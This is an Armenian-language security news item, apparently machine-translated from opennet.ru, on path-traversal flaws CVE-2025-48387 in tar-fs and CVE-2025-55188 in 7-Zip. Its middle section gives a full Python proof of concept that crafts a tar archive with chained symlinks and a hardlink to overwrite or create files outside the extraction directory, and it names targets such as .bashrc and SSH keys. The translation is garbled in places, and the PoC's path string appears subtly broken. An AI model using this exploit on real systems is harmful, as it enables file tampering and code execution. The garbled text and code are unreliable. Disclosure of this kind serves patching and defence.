tar-fs և 7-Zip-ում բացահայտված անբավարարություններ, որոնք թույլ են տալիս ֆայլեր գրել հիմնական կատալոգից դուրս

NPM փաթեթում tar-fs հայտնաբերվել է բացահայտություն (CVE-2025-48387), որը թույլ է տալիս հատուկ ձևավորված tar-արխիվի բացումով ֆայլեր գրել ֆայլային համակարգի ցանկացած հատվածում, առանց սահմանափակման ըստ գյուղական կատալոգից, որի մեջ կատարվում է բացումը (որպեսզի թույլ են տրված ընթացիկ օգտագործողի մուտքի իրավունքները): Բացահայտումը կարող է կիրառվել նաև արդեն գոյություն ունեցող ֆայլերի վերագրելու համար, օրինակ, համակարգում ձեր կոդը կատարելու կազմակերպման համար կարող են վերագրումը լինել «.ssh/id_rsa» կամ «.bashrc» ֆայլերը օգտագործողի տնային կատալոգում:

Խնդրին հատկացվել է չափազանց վտանգավոր աստիճան, հաշվի առնելով, որ tar-fs փաթեթն ունի շաբաթական 23 միլիոն ներբեռնում և օգտագործվում է 1155 նախագծերում: Բացահայտումը վերացվել է 3.0.9, 2.1.3 և 1.16.5 թողություններում, որոնք ձևավորվել են մայիսին, բայց բացահայտման մասին տեղեկությունը ներկայացվել է միայն գրեթե 3 ամիս անց:

Բացահայտումը առաջանում է կույր ստուգումների պատճառով, որոնք առկա են արխիվում` սիմվոլիկ և ամուր հղումներով, ըստ այն բանի, թե դուրս են գալիս նպատակային կատալոգից բացելու համար: Ստուգումները շրջանցելու համար կիրառվում են երկու սիմվոլիկ հղումներ. առաջինն ուղղվում է արխիվի բացման զարդի արմատային կատալոգին ("."), իսկ երկրորդը ձևավորվում է առաջին սիմվոլիկ հղման հաշվին և օգտագործում է «..» սիմվոլը, որպեսզի դուրս գա հիմնական կատալոգից: Օրինակ, առաջին հղումը «noop/noop/noop» ուղղվում է «.», իսկ երկրորդը «noop/noop/noop/..../..../..../» բացվում է որպես «./..../..../..../»: Ֆայլեր վերագրելու համար արխիվում կարող է ստեղծվել ամուր հղում, որը ուղղվում է երկրորդ սիմվոլիկ հղման համեմատ: import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + (".. /" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Համեմատական բացահայտում (CVE-2025-55188) հայտնաբերված է 7-Zip արխիվատորում: Ֆայլին դուրս կգրելու համար 7-Zip-ում նույնպես կիրառվում են սիմվոլիկ հղումներ, որոնք ունեն «..» հաջորդականություն ֆայլի ճանապարհում: Խնդիրը կարող է շահագործվել 7-Zip-ի միջոցով ցանկացած արխիվի բացման ժամանակ, որոնք աջակցում են սիմվոլիկ հղումները, օրինակ, zip, tar, 7z և rar: Խնդիրը վերացվել է 7-Zip 25.01-րդ տարբերակում.

Ընտանիք: opennet.ru

Գնել հուսալի հյուրընկալում DDoS պաշտպանությամբ, VPS VDS սերվերներով 🔥 Գնել հուսալի հյուրընկալում DDoS պաշտպանությամբ, VPS VDS սերվերներով | ProHoster